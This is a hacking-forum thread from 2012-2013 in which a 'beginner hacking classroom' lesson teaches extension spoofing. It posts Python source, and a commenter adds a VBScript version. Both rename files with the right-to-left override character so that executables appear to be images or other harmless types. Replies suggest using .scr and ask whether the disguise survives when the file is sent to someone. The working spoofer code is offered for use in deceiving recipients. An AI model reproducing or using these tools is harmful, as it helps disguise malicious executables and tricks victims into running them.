Thread: [? Antagonism | Lesson Two - Extension Spoofing ?](#)

-?Divine- - December 2, 2012, 10:50 pm

[img]http://desmond.imageshack.us/Himg515/scaled.php?server=515&filename=antagonism.jpg&res=medium[/img]

Awaken. You have been lost for too long, buried, in the mist of unknown shadows. Awaken. Your cries have been heard and they shall not be neglected. Come forward. You are grasping in the dark, blind for what is before you. Awaken, for I shall be your eyes. Call my name, and I will breach the darkness in path before you. Take my hand, and I will be the light that illuminates your journey. Come forward, and walk with us, for we are the vanguard of your purification. Dance in the rhythm of silence.

Welcome. I am the head of Antagonism beginner hacking classroom, and I will be teaching you from now on. You will post in this thread what you want to learn about, and what gets most votes shall be accepted for the next class. Everyone who applies for that class shall be invited to join the class and PM-ed with my Team Viewer information. Lessons will be recorded, and posted publicly so everyone who missed them can watch the video.

Second lesson, Extension spoofing:

I have covered everything you need to know about extension spoofing and how it works. I am showing how it is done manually and how to code your very own extension spoofer.

[Video: <http://www.youtube.com/watch?v=g69DczSaMTI>]

Please note that hypercam didn't record the Team Viewer window and questions people were asking me. So if you hear me talk something random, I'm actually reading and replying to their questions or requests to repeat.

Source code of the Extension Spoofer I coded:

```
Code
import os
a = u'\u202E'
path = raw_input("Please input the path to the directory of the file (C:\users\~\Desktop for example): ")
name = raw_input("What is the name of your file?: ")
curr = raw_input("What is the current extension of the file?: ")
extension = raw_input("What is the new extension you want? (Example: exe, txt, png..): ")
os.chdir(path)
name2=name+'.'+curr

os.rename(name2, name+a+extension+'.'+curr)
Other Lessons can be found here.
```

Py7h0n - December 4, 2012, 5:29 am

this is awesome , thanks :) . very nicely explained .

MATTdawg - December 4, 2012, 12:54 pm

loving this. thank you so much looking forward to other posts

Py7h0n - December 5, 2012, 7:54 am

also if you are lazy you can just replace a .exe extension with .scr XD

hand0fg0d - December 28, 2012, 9:40 pm

here is one thats visual basic based if anyone wants source for it.

Just name it "whatever.vbs"

Code Call Spoof

Sub Spoof()

dim filePath,fileName,exten,FileLen,revExten,dest,NewFileName

set fs = CreateObject("Scripting.FileSystemObject")

filePath=inputbox("Enter The FilePath")

exten=inputbox("Enter the Extension to spoof" & vbCrLf & _

"Example : .jpg, .mp3 , .avi , etc..")

fileName=fs.GetFileName(filePath)

filePath=fs.GetParentFolderName(filePath)

FileLen=Len(fileName)-4

Dim spclChar

spclChar = ChrW(8238)

revExten=StrReverse(exten)

NewFileName=inputbox("Enter the new file name max 5 chars")

dest=NewFileName & spclChar & revExten & mid(fileName,FileLen+2)

fs.copyFile filePath & "\" & FileName,filePath & "\" & dest

msgbox "Extension Spoofed Successfully!!",vbInformation

end sub

The first question you'll answer will be to enter the filepath but make sure you include the filename with extension. for example C:\Users\hand0fg0d\Desktop\123.jpg

The second question is asking which extension you would like to make the new file appear as but make sure you add the dot to the file extension. example would be ".jpg" not just jpg

The third question asks what you would like the new file to be named, it does have the current limit of 5 characters but you can change that if you like.

hope this helps

btw this was written by someone named DJ MAK

Thanks for pointing it out mate. Thanks for the feedback.

divine_temp - January 3, 2013, 6:11 pm

I lost access to my account guys. I made temp account. I hope to resolve this soon.

T?ny - January 3, 2013, 6:14 pm

Great guide. HQ member and great guides.

Vandal - January 3, 2013, 6:18 pm

Divine, you are such an HQ member. You deserve a lot more attention from these lessons.

- Vandal

Glad you think so mate. Thanks for the feedback.

xZero707 - January 5, 2013, 4:55 am

Awesome. Simple but powerfull. Kepp it up.

Antigen - January 5, 2013, 4:56 am

Awesome one, Thanks Divine,

Antagonism rocks again.

sethwilliam - January 19, 2013, 1:44 pm

Awsome nice tut, I was recently directed to your main page listing with all the tuts and gonna watch them All! Thx

-?Divine- - January 20, 2013, 5:01 am

You can always view all of my threads and find my tutorials there. Thanks for the feedback.

Phantom2FG - January 25, 2013, 1:31 am

Your tutorials are awesome! Keep up the good work!

TheCl0wnhelper - January 25, 2013, 6:45 am

Very Cool Divine :) . I learned something new today. Thanks.

ViniPuh - January 25, 2013, 8:27 am

This seems very cool, the file extension is in fact .exe but the magic trick in there makes half the file name show reversed,
so real file name is "dildo?gpj.exe", where the question mark represents the u'\u202E' (or ChrW(8238) in vb)

Does the ms-dos file name like "dildo?gpj.exe" show up when you send it to someone, or will it really show like "dildoexe.jpg" ?

TheCl0wnhelper - January 25, 2013, 11:52 am

ViniPuh, yeah I was wondering about that too. Good question though.

-?Divine- - January 25, 2013, 11:57 am

When saved on his PC, file will have the spoofed extension.

rhyman18 - February 3, 2013, 7:41 pm

Nice tutor... i will watch vid tutor tommorow!!!

Panoptic - February 3, 2013, 8:58 pm

I found it interesting that you didn't include that little note about how you are Divine and your account was merged with a scammer's, just an observation.

Anyways, as always great tutorial Antagonism. ?

-?Divine- - February 3, 2013, 10:14 pm

I stopped including that in newer threads. This account already exceeds the previous one in quality. I am glad you liked it, thanks.

cpu_junk - *October 15, 2013, 7:14 am*

Does this work on Win 8? I'm trying it and keep getting the pop up asking what app I want to use to view the (?.jpg file

iPod4G - *October 15, 2013, 8:26 am*

Nice tut man, keep em' coming! These are awesome..
